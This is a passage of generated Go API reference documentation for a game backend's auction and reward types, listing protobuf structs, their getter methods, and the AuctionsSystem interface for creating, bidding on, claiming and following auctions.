Deprecated: Use AuctionClaimCreatedRequest.ProtoReflect.Descriptor instead.

func (*AuctionClaimCreatedRequest) GetId

func (*AuctionClaimCreatedRequest) ProtoMessage

func (*AuctionClaimCreatedRequest) ProtoMessage()

func (*AuctionClaimCreatedRequest) ProtoReflect

func (*AuctionClaimCreatedRequest) Reset

func (x *AuctionClaimCreatedRequest) Reset()

func (*AuctionClaimCreatedRequest) String

func (x *AuctionClaimCreatedRequest) String() string

type AuctionCreateRequest

type AuctionCreateRequest struct {

	// Auction template to use.
	TemplateId string `protobuf:"bytes,1,opt,name=template_id,json=templateId,proto3" json:"template_id,omitempty"`
	// Auction condition set to use.
	ConditionId string `protobuf:"bytes,2,opt,name=condition_id,json=conditionId,proto3" json:"condition_id,omitempty"`
	// Item instance(s) to list in the auction.
	InstanceIds []string `protobuf:"bytes,3,rep,name=instance_ids,json=instanceIds,proto3" json:"instance_ids,omitempty"`
	// Time when the auction should start, omit to start immediately.
	StartTimeSec int64 `protobuf:"varint,4,opt,name=start_time_sec,json=startTimeSec,proto3" json:"start_time_sec,omitempty"`
	// contains filtered or unexported fields
}

Request to create a new auction.

func (*AuctionCreateRequest) Descriptor deprecated

func (*AuctionCreateRequest) Descriptor() ([]byte, []int)

Deprecated: Use AuctionCreateRequest.ProtoReflect.Descriptor instead.

func (*AuctionCreateRequest) GetConditionId

func (x *AuctionCreateRequest) GetConditionId() string

func (*AuctionCreateRequest) GetInstanceIds

func (x *AuctionCreateRequest) GetInstanceIds() []string

func (*AuctionCreateRequest) GetStartTimeSec

func (x *AuctionCreateRequest) GetStartTimeSec() int64

func (*AuctionCreateRequest) GetTemplateId

func (x *AuctionCreateRequest) GetTemplateId() string

func (*AuctionCreateRequest) ProtoMessage

func (*AuctionCreateRequest) ProtoMessage()

func (*AuctionCreateRequest) ProtoReflect

func (x *AuctionCreateRequest) ProtoReflect() protoreflect.Message

func (*AuctionCreateRequest) Reset

func (x *AuctionCreateRequest) Reset()

func (*AuctionCreateRequest) String

func (x *AuctionCreateRequest) String() string

type AuctionFee

type AuctionFee struct {

	// Percentage-based fee value.
	Percentage float64 `protobuf:"fixed64,1,opt,name=percentage,proto3" json:"percentage,omitempty"`
	// Fixed fee amount.
	Fixed *AuctionBidAmount `protobuf:"bytes,2,opt,name=fixed,proto3" json:"fixed,omitempty"`
	// contains filtered or unexported fields
}

Fee structure associated with an auction, which will be deducted on completion.

func (*AuctionFee) Descriptor deprecated

func (*AuctionFee) Descriptor() ([]byte, []int)

Deprecated: Use AuctionFee.ProtoReflect.Descriptor instead.

func (*AuctionFee) GetFixed

func (x *AuctionFee) GetFixed() *AuctionBidAmount

func (*AuctionFee) GetPercentage

func (x *AuctionFee) GetPercentage() float64

func (*AuctionFee) ProtoMessage

func (*AuctionFee) ProtoMessage()

func (*AuctionFee) ProtoReflect

func (x *AuctionFee) ProtoReflect() protoreflect.Message

func (*AuctionFee) Reset

func (x *AuctionFee) Reset()

func (*AuctionFee) String

func (x *AuctionFee) String() string

type AuctionList

type AuctionList struct {

	// Auctions matching the requested filters.
	Auctions []*Auction `protobuf:"bytes,1,rep,name=auctions,proto3" json:"auctions,omitempty"`
	// Pagination cursor to fetch more results, or empty if there are no more.
	Cursor string `protobuf:"bytes,2,opt,name=cursor,proto3" json:"cursor,omitempty"`
	// contains filtered or unexported fields
}

A list of auctions filtered by some initial request criteria.

func (*AuctionList) Descriptor deprecated

func (*AuctionList) Descriptor() ([]byte, []int)

Deprecated: Use AuctionList.ProtoReflect.Descriptor instead.

func (*AuctionList) GetAuctions

func (x *AuctionList) GetAuctions() []*Auction

func (*AuctionList) GetCursor

func (x *AuctionList) GetCursor() string

func (*AuctionList) ProtoMessage

func (*AuctionList) ProtoMessage()

func (*AuctionList) ProtoReflect

func (x *AuctionList) ProtoReflect() protoreflect.Message

func (*AuctionList) Reset

func (x *AuctionList) Reset()

func (*AuctionList) String

func (x *AuctionList) String() string

type AuctionListBidsRequest

type AuctionListBidsRequest struct {

	// Maximum number of auctions to return in a single response.
	Limit int64 `protobuf:"varint,1,opt,name=limit,proto3" json:"limit,omitempty"`
	// Cursor to use for retrieving the next page of results.
	Cursor string `protobuf:"bytes,2,opt,name=cursor,proto3" json:"cursor,omitempty"`
	// contains filtered or unexported fields
}

Request to retrieve a list of auctions the user has bid on.

func (*AuctionListBidsRequest) Descriptor deprecated

func (*AuctionListBidsRequest) Descriptor() ([]byte, []int)

Deprecated: Use AuctionListBidsRequest.ProtoReflect.Descriptor instead.

func (*AuctionListBidsRequest) GetCursor

func (x *AuctionListBidsRequest) GetCursor() string

func (*AuctionListBidsRequest) GetLimit

func (x *AuctionListBidsRequest) GetLimit() int64

func (*AuctionListBidsRequest) ProtoMessage

func (*AuctionListBidsRequest) ProtoMessage()

func (*AuctionListBidsRequest) ProtoReflect

func (x *AuctionListBidsRequest) ProtoReflect() protoreflect.Message

func (*AuctionListBidsRequest) Reset

func (x *AuctionListBidsRequest) Reset()

func (*AuctionListBidsRequest) String

func (x *AuctionListBidsRequest) String() string

type AuctionListCreatedRequest

type AuctionListCreatedRequest struct {

	// Maximum number of auctions to return in a single response.
	Limit int64 `protobuf:"varint,1,opt,name=limit,proto3" json:"limit,omitempty"`
	// Cursor to use for retrieving the next page of results.
	Cursor string `protobuf:"bytes,2,opt,name=cursor,proto3" json:"cursor,omitempty"`
	// contains filtered or unexported fields
}

Request to retrieve a list of auctions the user has created.

func (*AuctionListCreatedRequest) Descriptor deprecated

func (*AuctionListCreatedRequest) Descriptor() ([]byte, []int)

Deprecated: Use AuctionListCreatedRequest.ProtoReflect.Descriptor instead.

func (*AuctionListCreatedRequest) GetCursor

func (x *AuctionListCreatedRequest) GetCursor() string

func (*AuctionListCreatedRequest) GetLimit

func (x *AuctionListCreatedRequest) GetLimit() int64

func (*AuctionListCreatedRequest) ProtoMessage

func (*AuctionListCreatedRequest) ProtoMessage()

func (*AuctionListCreatedRequest) ProtoReflect

func (*AuctionListCreatedRequest) Reset

func (x *AuctionListCreatedRequest) Reset()

func (*AuctionListCreatedRequest) String

func (x *AuctionListCreatedRequest) String() string

type AuctionListRequest

type AuctionListRequest struct {

	// Formatted filter query.
	Query string `protobuf:"bytes,1,opt,name=query,proto3" json:"query,omitempty"`
	// Custom sort criteria.
	Sort []string `protobuf:"bytes,2,rep,name=sort,proto3" json:"sort,omitempty"`
	// Maximum number of auctions to return in a single response.
	Limit int64 `protobuf:"varint,3,opt,name=limit,proto3" json:"limit,omitempty"`
	// Cursor to use for retrieving the next page of results.
	Cursor string `protobuf:"bytes,4,opt,name=cursor,proto3" json:"cursor,omitempty"`
	// contains filtered or unexported fields
}

Request to list available auctions, optionally filtered based on given criteria.

func (*AuctionListRequest) Descriptor deprecated

func (*AuctionListRequest) Descriptor() ([]byte, []int)

Deprecated: Use AuctionListRequest.ProtoReflect.Descriptor instead.

func (*AuctionListRequest) GetCursor

func (x *AuctionListRequest) GetCursor() string

func (*AuctionListRequest) GetLimit

func (x *AuctionListRequest) GetLimit() int64

func (*AuctionListRequest) GetQuery

func (x *AuctionListRequest) GetQuery() string

func (*AuctionListRequest) GetSort

func (x *AuctionListRequest) GetSort() []string

func (*AuctionListRequest) ProtoMessage

func (*AuctionListRequest) ProtoMessage()

func (*AuctionListRequest) ProtoReflect

func (x *AuctionListRequest) ProtoReflect() protoreflect.Message

func (*AuctionListRequest) Reset

func (x *AuctionListRequest) Reset()

func (*AuctionListRequest) String

func (x *AuctionListRequest) String() string

type AuctionNotificationBid

type AuctionNotificationBid struct {

	// Unique auction identifier.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// New version hash for this auction.
	Version string `protobuf:"bytes,2,opt,name=version,proto3" json:"version,omitempty"`
	// Current highest bid, if any.
	Bid *AuctionBid `protobuf:"bytes,3,opt,name=bid,proto3" json:"bid,omitempty"`
	// Minimum next bid amount.
	BidNext *AuctionBidAmount `protobuf:"bytes,4,opt,name=bid_next,json=bidNext,proto3" json:"bid_next,omitempty"`
	// Additional time added so far to the original duration.
	ExtensionAddedSec int64 `protobuf:"varint,5,opt,name=extension_added_sec,json=extensionAddedSec,proto3" json:"extension_added_sec,omitempty"`
	// Extra time still available.
	ExtensionRemainingSec int64 `` /* 127-byte string literal not displayed */
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the current bid was updated, for example by placing a new bid.
	UpdateTimeSec int64 `protobuf:"varint,7,opt,name=update_time_sec,json=updateTimeSec,proto3" json:"update_time_sec,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the auction ends.
	EndTimeSec int64 `protobuf:"varint,8,opt,name=end_time_sec,json=endTimeSec,proto3" json:"end_time_sec,omitempty"`
	// The current UNIX time (for gRPC clients) or ISO string (for REST clients) on the server.
	CurrentTimeSec int64 `protobuf:"varint,9,opt,name=current_time_sec,json=currentTimeSec,proto3" json:"current_time_sec,omitempty"`
	// contains filtered or unexported fields
}

Notification payload containing a bid update for a followed auction.

func (*AuctionNotificationBid) Descriptor deprecated

func (*AuctionNotificationBid) Descriptor() ([]byte, []int)

Deprecated: Use AuctionNotificationBid.ProtoReflect.Descriptor instead.

func (*AuctionNotificationBid) GetBid

func (x *AuctionNotificationBid) GetBid() *AuctionBid

func (*AuctionNotificationBid) GetBidNext

func (x *AuctionNotificationBid) GetBidNext() *AuctionBidAmount

func (*AuctionNotificationBid) GetCurrentTimeSec

func (x *AuctionNotificationBid) GetCurrentTimeSec() int64

func (*AuctionNotificationBid) GetEndTimeSec

func (x *AuctionNotificationBid) GetEndTimeSec() int64

func (*AuctionNotificationBid) GetExtensionAddedSec

func (x *AuctionNotificationBid) GetExtensionAddedSec() int64

func (*AuctionNotificationBid) GetExtensionRemainingSec

func (x *AuctionNotificationBid) GetExtensionRemainingSec() int64

func (*AuctionNotificationBid) GetId

func (x *AuctionNotificationBid) GetId() string

func (*AuctionNotificationBid) GetUpdateTimeSec

func (x *AuctionNotificationBid) GetUpdateTimeSec() int64

func (*AuctionNotificationBid) GetVersion

func (x *AuctionNotificationBid) GetVersion() string

func (*AuctionNotificationBid) ProtoMessage

func (*AuctionNotificationBid) ProtoMessage()

func (*AuctionNotificationBid) ProtoReflect

func (x *AuctionNotificationBid) ProtoReflect() protoreflect.Message

func (*AuctionNotificationBid) Reset

func (x *AuctionNotificationBid) Reset()

func (*AuctionNotificationBid) String

func (x *AuctionNotificationBid) String() string

type AuctionReward

type AuctionReward struct {

	// Items being sold as part of a given auction listing.
	Items []*InventoryItem `protobuf:"bytes,1,rep,name=items,proto3" json:"items,omitempty"`
	// contains filtered or unexported fields
}

The content(s) of an auction.

func (*AuctionReward) Descriptor deprecated

func (*AuctionReward) Descriptor() ([]byte, []int)

Deprecated: Use AuctionReward.ProtoReflect.Descriptor instead.

func (*AuctionReward) GetItems

func (x *AuctionReward) GetItems() []*InventoryItem

func (*AuctionReward) ProtoMessage

func (*AuctionReward) ProtoMessage()

func (*AuctionReward) ProtoReflect

func (x *AuctionReward) ProtoReflect() protoreflect.Message

func (*AuctionReward) Reset

func (x *AuctionReward) Reset()

func (*AuctionReward) String

func (x *AuctionReward) String() string

type AuctionTemplate

type AuctionTemplate struct {

	// Item identifiers that can be listed using this auction template.
	Items []string `protobuf:"bytes,1,rep,name=items,proto3" json:"items,omitempty"`
	// Item sets that can be listed using this auction template.
	ItemSets []string `protobuf:"bytes,2,rep,name=item_sets,json=itemSets,proto3" json:"item_sets,omitempty"`
	// Condition configurations available.
	Conditions map[string]*AuctionTemplateCondition `` /* 161-byte string literal not displayed */
	// Number of historic bids that will be kept.
	BidHistoryCount int32 `protobuf:"varint,4,opt,name=bid_history_count,json=bidHistoryCount,proto3" json:"bid_history_count,omitempty"`
	// contains filtered or unexported fields
}

An individually usable auction template.

func (*AuctionTemplate) Descriptor deprecated

func (*AuctionTemplate) Descriptor() ([]byte, []int)

Deprecated: Use AuctionTemplate.ProtoReflect.Descriptor instead.

func (*AuctionTemplate) GetBidHistoryCount

func (x *AuctionTemplate) GetBidHistoryCount() int32

func (*AuctionTemplate) GetConditions

func (x *AuctionTemplate) GetConditions() map[string]*AuctionTemplateCondition

func (*AuctionTemplate) GetItemSets

func (x *AuctionTemplate) GetItemSets() []string

func (*AuctionTemplate) GetItems

func (x *AuctionTemplate) GetItems() []string

func (*AuctionTemplate) ProtoMessage

func (*AuctionTemplate) ProtoMessage()

func (*AuctionTemplate) ProtoReflect

func (x *AuctionTemplate) ProtoReflect() protoreflect.Message

func (*AuctionTemplate) Reset

func (x *AuctionTemplate) Reset()

func (*AuctionTemplate) String

func (x *AuctionTemplate) String() string

type AuctionTemplateCondition

type AuctionTemplateCondition struct {

	// Number of seconds the auction will be available for.
	DurationSec int64 `protobuf:"varint,1,opt,name=duration_sec,json=durationSec,proto3" json:"duration_sec,omitempty"`
	// Cost to be paid on creating the auction listing, if any.
	ListingCost *AuctionTemplateConditionListingCost `protobuf:"bytes,2,opt,name=listing_cost,json=listingCost,proto3" json:"listing_cost,omitempty"`
	// Minimum starting bid.
	BidStart *AuctionBidAmount `protobuf:"bytes,3,opt,name=bid_start,json=bidStart,proto3" json:"bid_start,omitempty"`
	// Minimum increment between bids.
	BidIncrement *AuctionTemplateConditionBidIncrement `protobuf:"bytes,4,opt,name=bid_increment,json=bidIncrement,proto3" json:"bid_increment,omitempty"`
	// How close to auction end should it be extended if a new bid arrives.
	ExtensionThresholdSec int64 `` /* 127-byte string literal not displayed */
	// How many seconds at a time will be added when extending.
	ExtensionSec int64 `protobuf:"varint,6,opt,name=extension_sec,json=extensionSec,proto3" json:"extension_sec,omitempty"`
	// How many seconds total may be added as extension.
	ExtensionMaxSec int64 `protobuf:"varint,7,opt,name=extension_max_sec,json=extensionMaxSec,proto3" json:"extension_max_sec,omitempty"`
	// Auction fee the creator will pay out of the winning bid amount, if any.
	Fee *AuctionFee `protobuf:"bytes,8,opt,name=fee,proto3" json:"fee,omitempty"`
	// contains filtered or unexported fields
}

A condition set as part of an auction template.

func (*AuctionTemplateCondition) Descriptor deprecated

func (*AuctionTemplateCondition) Descriptor() ([]byte, []int)

Deprecated: Use AuctionTemplateCondition.ProtoReflect.Descriptor instead.

func (*AuctionTemplateCondition) GetBidIncrement

func (*AuctionTemplateCondition) GetBidStart

func (x *AuctionTemplateCondition) GetBidStart() *AuctionBidAmount

func (*AuctionTemplateCondition) GetDurationSec

func (x *AuctionTemplateCondition) GetDurationSec() int64

func (*AuctionTemplateCondition) GetExtensionMaxSec

func (x *AuctionTemplateCondition) GetExtensionMaxSec() int64

func (*AuctionTemplateCondition) GetExtensionSec

func (x *AuctionTemplateCondition) GetExtensionSec() int64

func (*AuctionTemplateCondition) GetExtensionThresholdSec

func (x *AuctionTemplateCondition) GetExtensionThresholdSec() int64

func (*AuctionTemplateCondition) GetFee

func (x *AuctionTemplateCondition) GetFee() *AuctionFee

func (*AuctionTemplateCondition) GetListingCost

func (*AuctionTemplateCondition) ProtoMessage

func (*AuctionTemplateCondition) ProtoMessage()

func (*AuctionTemplateCondition) ProtoReflect

func (x *AuctionTemplateCondition) ProtoReflect() protoreflect.Message

func (*AuctionTemplateCondition) Reset

func (x *AuctionTemplateCondition) Reset()

func (*AuctionTemplateCondition) String

func (x *AuctionTemplateCondition) String() string

type AuctionTemplateConditionBidIncrement

type AuctionTemplateConditionBidIncrement struct {

	// Percentage-based increment value.
	Percentage float64 `protobuf:"fixed64,1,opt,name=percentage,proto3" json:"percentage,omitempty"`
	// Fixed increment amount.
	Fixed *AuctionBidAmount `protobuf:"bytes,2,opt,name=fixed,proto3" json:"fixed,omitempty"`
	// contains filtered or unexported fields
}

Minimum increment required between bids.

func (*AuctionTemplateConditionBidIncrement) Descriptor deprecated

func (*AuctionTemplateConditionBidIncrement) Descriptor() ([]byte, []int)

Deprecated: Use AuctionTemplateConditionBidIncrement.ProtoReflect.Descriptor instead.

func (*AuctionTemplateConditionBidIncrement) GetFixed

func (*AuctionTemplateConditionBidIncrement) GetPercentage

func (x *AuctionTemplateConditionBidIncrement) GetPercentage() float64

func (*AuctionTemplateConditionBidIncrement) ProtoMessage

func (*AuctionTemplateConditionBidIncrement) ProtoMessage()

func (*AuctionTemplateConditionBidIncrement) ProtoReflect

func (*AuctionTemplateConditionBidIncrement) Reset

func (*AuctionTemplateConditionBidIncrement) String

type AuctionTemplateConditionListingCost

type AuctionTemplateConditionListingCost struct {

	// Currencies cost, if any.
	Currencies map[string]int64 `` /* 162-byte string literal not displayed */
	// Inventory items cost, if any.
	Items map[string]int64 `` /* 152-byte string literal not displayed */
	// Energies cost, if any.
	Energies map[string]int64 `` /* 158-byte string literal not displayed */
	// contains filtered or unexported fields
}

Cost to be paid for listing an auction under this config condition.

func (*AuctionTemplateConditionListingCost) Descriptor deprecated

func (*AuctionTemplateConditionListingCost) Descriptor() ([]byte, []int)

Deprecated: Use AuctionTemplateConditionListingCost.ProtoReflect.Descriptor instead.

func (*AuctionTemplateConditionListingCost) GetCurrencies

func (x *AuctionTemplateConditionListingCost) GetCurrencies() map[string]int64

func (*AuctionTemplateConditionListingCost) GetEnergies

func (x *AuctionTemplateConditionListingCost) GetEnergies() map[string]int64

func (*AuctionTemplateConditionListingCost) GetItems

func (*AuctionTemplateConditionListingCost) ProtoMessage

func (*AuctionTemplateConditionListingCost) ProtoMessage()

func (*AuctionTemplateConditionListingCost) ProtoReflect

func (*AuctionTemplateConditionListingCost) Reset

func (*AuctionTemplateConditionListingCost) String

type AuctionTemplates

type AuctionTemplates struct {

	// All available auction templates, keyed by an unique identifier.
	Templates map[string]*AuctionTemplate `` /* 159-byte string literal not displayed */
	// contains filtered or unexported fields
}

Set of all available auction templates.

func (*AuctionTemplates) Descriptor deprecated

func (*AuctionTemplates) Descriptor() ([]byte, []int)

Deprecated: Use AuctionTemplates.ProtoReflect.Descriptor instead.

func (*AuctionTemplates) GetTemplates

func (x *AuctionTemplates) GetTemplates() map[string]*AuctionTemplate

func (*AuctionTemplates) ProtoMessage

func (*AuctionTemplates) ProtoMessage()

func (*AuctionTemplates) ProtoReflect

func (x *AuctionTemplates) ProtoReflect() protoreflect.Message

func (*AuctionTemplates) Reset

func (x *AuctionTemplates) Reset()

func (*AuctionTemplates) String

func (x *AuctionTemplates) String() string

type AuctionsConfig

type AuctionsConfig struct {
	Auctions map[string]*AuctionsConfigAuction `json:"auctions,omitempty"`
}

AuctionsConfig is the data definition for the AuctionsSystem type.

type AuctionsConfigAuction

type AuctionsConfigAuction struct {
	Items           []string                                   `json:"items,omitempty"`
	ItemSets        []string                                   `json:"item_sets,omitempty"`
	Conditions      map[string]*AuctionsConfigAuctionCondition `json:"conditions,omitempty"`
	BidHistoryCount int                                        `json:"bid_history_count,omitempty"`
}

type AuctionsConfigAuctionCondition

type AuctionsConfigAuctionCondition struct {
	DurationSec           int64                                       `json:"duration_sec,omitempty"`
	ListingCost           *AuctionsConfigAuctionConditionCost         `json:"listing_cost,omitempty"`
	BidStart              *AuctionsConfigAuctionConditionBid          `json:"bid_start,omitempty"`
	BidIncrement          *AuctionsConfigAuctionConditionBidIncrement `json:"bid_increment,omitempty"`
	ExtensionThresholdSec int64                                       `json:"extension_threshold_sec,omitempty"`
	ExtensionSec          int64                                       `json:"extension_sec,omitempty"`
	ExtensionMaxSec       int64                                       `json:"extension_max_sec,omitempty"`
	Fee                   *AuctionsConfigAuctionConditionFee          `json:"fee,omitempty"`
}

type AuctionsConfigAuctionConditionBid

type AuctionsConfigAuctionConditionBid struct {
	Currencies map[string]int64 `json:"currencies,omitempty"`
}

type AuctionsConfigAuctionConditionBidIncrement

type AuctionsConfigAuctionConditionBidIncrement struct {
	Percentage float64                            `json:"percentage,omitempty"`
	Fixed      *AuctionsConfigAuctionConditionBid `json:"fixed,omitempty"`
}

type AuctionsConfigAuctionConditionCost

type AuctionsConfigAuctionConditionCost struct {
	Currencies map[string]int64 `json:"currencies,omitempty"`
	Energies   map[string]int64 `json:"energies,omitempty"`
	Items      map[string]int64 `json:"items,omitempty"`
}

type AuctionsConfigAuctionConditionFee

type AuctionsConfigAuctionConditionFee struct {
	Percentage float64                            `json:"percentage,omitempty"`
	Fixed      *AuctionsConfigAuctionConditionBid `json:"fixed,omitempty"`
}

type AuctionsFollowRequest

type AuctionsFollowRequest struct {

	// Auction IDs to follow.
	Ids []string `protobuf:"bytes,1,rep,name=ids,proto3" json:"ids,omitempty"`
	// contains filtered or unexported fields
}

Request to follow auctions the user has an interest in.

func (*AuctionsFollowRequest) Descriptor deprecated

func (*AuctionsFollowRequest) Descriptor() ([]byte, []int)

Deprecated: Use AuctionsFollowRequest.ProtoReflect.Descriptor instead.

func (*AuctionsFollowRequest) GetIds

func (x *AuctionsFollowRequest) GetIds() []string

func (*AuctionsFollowRequest) ProtoMessage

func (*AuctionsFollowRequest) ProtoMessage()

func (*AuctionsFollowRequest) ProtoReflect

func (x *AuctionsFollowRequest) ProtoReflect() protoreflect.Message

func (*AuctionsFollowRequest) Reset

func (x *AuctionsFollowRequest) Reset()

func (*AuctionsFollowRequest) String

func (x *AuctionsFollowRequest) String() string

type AuctionsSystem

type AuctionsSystem interface {
	System

	// GetTemplates lists all available auction configurations that can be used to create auction listings.
	GetTemplates(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string) (*AuctionTemplates, error)

	// List auctions based on provided criteria.
	List(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, query string, sort []string, limit int, cursor string) (*AuctionList, error)

	// Bid on an active auction.
	Bid(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, sessionID, auctionID, version string, bid *AuctionBidAmount, marshaler *protojson.MarshalOptions) (*Auction, error)

	// ClaimBid claims a completed auction as the successful bidder.
	ClaimBid(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, auctionID string) (*AuctionClaimBid, error)

	// ClaimCreated claims a completed auction as the auction creator.
	ClaimCreated(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, auctionID string) (*AuctionClaimCreated, error)

	// Cancel an active auction before it reaches its scheduled end time.
	Cancel(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, auctionID string) (*AuctionCancel, error)

	// Create a new auction based on supplied parameters and available configuration.
	Create(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, templateID, conditionID string, instanceIDs []string, startTimeSec int64, items []*InventoryItem, overrideConfig *AuctionsConfigAuction) (*Auction, error)

	// ListBids returns auctions the user has successfully bid on.
	ListBids(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, limit int, cursor string) (*AuctionList, error)

	// ListCreated returns auctions the user has created.
	ListCreated(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, limit int, cursor string) (*AuctionList, error)

	// Follow ensures users receive real-time updates for auctions they have an interest in.
	Follow(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, sessionID string, auctionIDs []string) (*AuctionList, error)

	// SetOnClaimBid sets a custom reward function which will run after an auction's reward is claimed by the winning bidder.
	SetOnClaimBid(fn OnAuctionReward[*AuctionReward])

	// SetOnClaimCreated sets a custom reward function which will run after an auction's winning bid is claimed by the auction creator.
	SetOnClaimCreated(fn OnAuctionReward[*AuctionBidAmount])

	// SetOnClaimCreatedFailed sets a custom reward function which will run after a failed auction is claimed by the auction creator.
	SetOnClaimCreatedFailed(fn OnAuctionReward[*AuctionReward])

	// SetOnCancel sets a custom reward function which will run after an auction is cancelled by the auction creator.
	SetOnCancel(fn OnAuctionReward[*AuctionReward])
}

The AuctionsSystem provides a gameplay system for Auctions and their listing, bidding, and timers.

Players list items for auctioning, bid on other auctions, and collect their rewards when appropriate.

type AvailableRewards

type AvailableRewards struct {

	// The guaranteed contents to grant.
	Guaranteed *AvailableRewardsContents `protobuf:"bytes,1,opt,name=guaranteed,proto3" json:"guaranteed,omitempty"`
	// The weighted contents to grant.
	Weighted []*AvailableRewardsContents `protobuf:"bytes,2,rep,name=weighted,proto3" json:"weighted,omitempty"`
	// The number of weighted reward contents to select from among the possibilities.
	MaxRolls int64 `protobuf:"varint,3,opt,name=max_rolls,json=maxRolls,proto3" json:"max_rolls,omitempty"`
	// The total weight that all weighted reward contents are calculated against. Auto calculated if set to 0 but can be
	// set to a higher value to introduce a chance of a "none" reward.
	TotalWeight int64 `protobuf:"varint,4,opt,name=total_weight,json=totalWeight,proto3" json:"total_weight,omitempty"`
	// The maximum number of repeats of any given weighted reward.
	MaxRepeatRolls int64 `protobuf:"varint,5,opt,name=max_repeat_rolls,json=maxRepeatRolls,proto3" json:"max_repeat_rolls,omitempty"`
	// contains filtered or unexported fields
}

The available rewards and their probabilistic weights.

func (*AvailableRewards) Descriptor deprecated

func (*AvailableRewards) Descriptor() ([]byte, []int)

Deprecated: Use AvailableRewards.ProtoReflect.Descriptor instead.

func (*AvailableRewards) GetGuaranteed

func (x *AvailableRewards) GetGuaranteed() *AvailableRewardsContents

func (*AvailableRewards) GetMaxRepeatRolls

func (x *AvailableRewards) GetMaxRepeatRolls() int64

func (*AvailableRewards) GetMaxRolls

func (x *AvailableRewards) GetMaxRolls() int64

func (*AvailableRewards) GetTotalWeight

func (x *AvailableRewards) GetTotalWeight() int64

func (*AvailableRewards) GetWeighted

func (x *AvailableRewards) GetWeighted() []*AvailableRewardsContents

func (*AvailableRewards) ProtoMessage

func (*AvailableRewards) ProtoMessage()

func (*AvailableRewards) ProtoReflect

func (x *AvailableRewards) ProtoReflect() protoreflect.Message

func (*AvailableRewards) Reset

func (x *AvailableRewards) Reset()

func (*AvailableRewards) String

func (x *AvailableRewards) String() string

type AvailableRewardsContents

type AvailableRewardsContents struct {

	// All possible items from this particular reward.
	Items map[string]*AvailableRewardsItem `` /* 151-byte string literal not displayed */
	// All possible item sets from this particular reward.
	ItemSets []*AvailableRewardsItemSet `protobuf:"bytes,2,rep,name=item_sets,json=itemSets,proto3" json:"item_sets,omitempty"`
	// All possible currencies from this particular reward.
	Currencies map[string]*AvailableRewardsCurrency `` /* 161-byte string literal not displayed */
	// All possible energies from this particular reward.
	Energies map[string]*AvailableRewardsEnergy `` /* 157-byte string literal not displayed */
	// All possible energy reward modifiers from this particular reward.
	EnergyModifiers []*AvailableRewardsEnergyModifier `protobuf:"bytes,5,rep,name=energy_modifiers,json=energyModifiers,proto3" json:"energy_modifiers,omitempty"`
	// All reward modifiers from this particular reward.
	RewardModifiers []*AvailableRewardsRewardModifier `protobuf:"bytes,6,rep,name=reward_modifiers,json=rewardModifiers,proto3" json:"reward_modifiers,omitempty"`
	// The weight of the reward contents.
	Weight int64 `protobuf:"varint,7,opt,name=weight,proto3" json:"weight,omitempty"`
	// contains filtered or unexported fields
}

The reward contents for available rewards.

func (*AvailableRewardsContents) Descriptor deprecated

func (*AvailableRewardsContents) Descriptor() ([]byte, []int)

Deprecated: Use AvailableRewardsContents.ProtoReflect.Descriptor instead.

func (*AvailableRewardsContents) GetCurrencies

func (*AvailableRewardsContents) GetEnergies

func (*AvailableRewardsContents) GetEnergyModifiers

func (x *AvailableRewardsContents) GetEnergyModifiers() []*AvailableRewardsEnergyModifier

func (*AvailableRewardsContents) GetItemSets

func (*AvailableRewardsContents) GetItems

func (*AvailableRewardsContents) GetRewardModifiers

func (x *AvailableRewardsContents) GetRewardModifiers() []*AvailableRewardsRewardModifier

func (*AvailableRewardsContents) GetWeight

func (x *AvailableRewardsContents) GetWeight() int64

func (*AvailableRewardsContents) ProtoMessage

func (*AvailableRewardsContents) ProtoMessage()

func (*AvailableRewardsContents) ProtoReflect

func (x *AvailableRewardsContents) ProtoReflect() protoreflect.Message

func (*AvailableRewardsContents) Reset

func (x *AvailableRewardsContents) Reset()

func (*AvailableRewardsContents) String

func (x *AvailableRewardsContents) String() string

type AvailableRewardsCurrency

type AvailableRewardsCurrency struct {

	// The possible count of the currency.
	Count *RewardRangeInt64 `protobuf:"bytes,1,opt,name=count,proto3" json:"count,omitempty"`
	// contains filtered or unexported fields
}

A possible currency reward.

func (*AvailableRewardsCurrency) Descriptor deprecated

func (*AvailableRewardsCurrency) Descriptor() ([]byte, []int)

Deprecated: Use AvailableRewardsCurrency.ProtoReflect.Descriptor instead.

func (*AvailableRewardsCurrency) GetCount

func (*AvailableRewardsCurrency) ProtoMessage

func (*AvailableRewardsCurrency) ProtoMessage()

func (*AvailableRewardsCurrency) ProtoReflect

func (x *AvailableRewardsCurrency) ProtoReflect() protoreflect.Message

func (*AvailableRewardsCurrency) Reset

func (x *AvailableRewardsCurrency) Reset()

func (*AvailableRewardsCurrency) String

func (x *AvailableRewardsCurrency) String() string

type AvailableRewardsEnergy

type AvailableRewardsEnergy struct {

	// The possible count of the energy.
	Count *RewardRangeInt32 `protobuf:"bytes,1,opt,name=count,proto3" json:"count,omitempty"`
	// contains filtered or unexported fields
}

A possible energy reward.

func (*AvailableRewardsEnergy) Descriptor deprecated

func (*AvailableRewardsEnergy) Descriptor() ([]byte, []int)

Deprecated: Use AvailableRewardsEnergy.ProtoReflect.Descriptor instead.

func (*AvailableRewardsEnergy) GetCount

func (*AvailableRewardsEnergy) ProtoMessage

func (*AvailableRewardsEnergy) ProtoMessage()

func (*AvailableRewardsEnergy) ProtoReflect

func (x *AvailableRewardsEnergy) ProtoReflect() protoreflect.Message

func (*AvailableRewardsEnergy) Reset

func (x *AvailableRewardsEnergy) Reset()

func (*AvailableRewardsEnergy) String

func (x *AvailableRewardsEnergy) String() string

type AvailableRewardsEnergyModifier

type AvailableRewardsEnergyModifier struct {

	// The ID of the energy to modify.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The operator of the energy modifier.
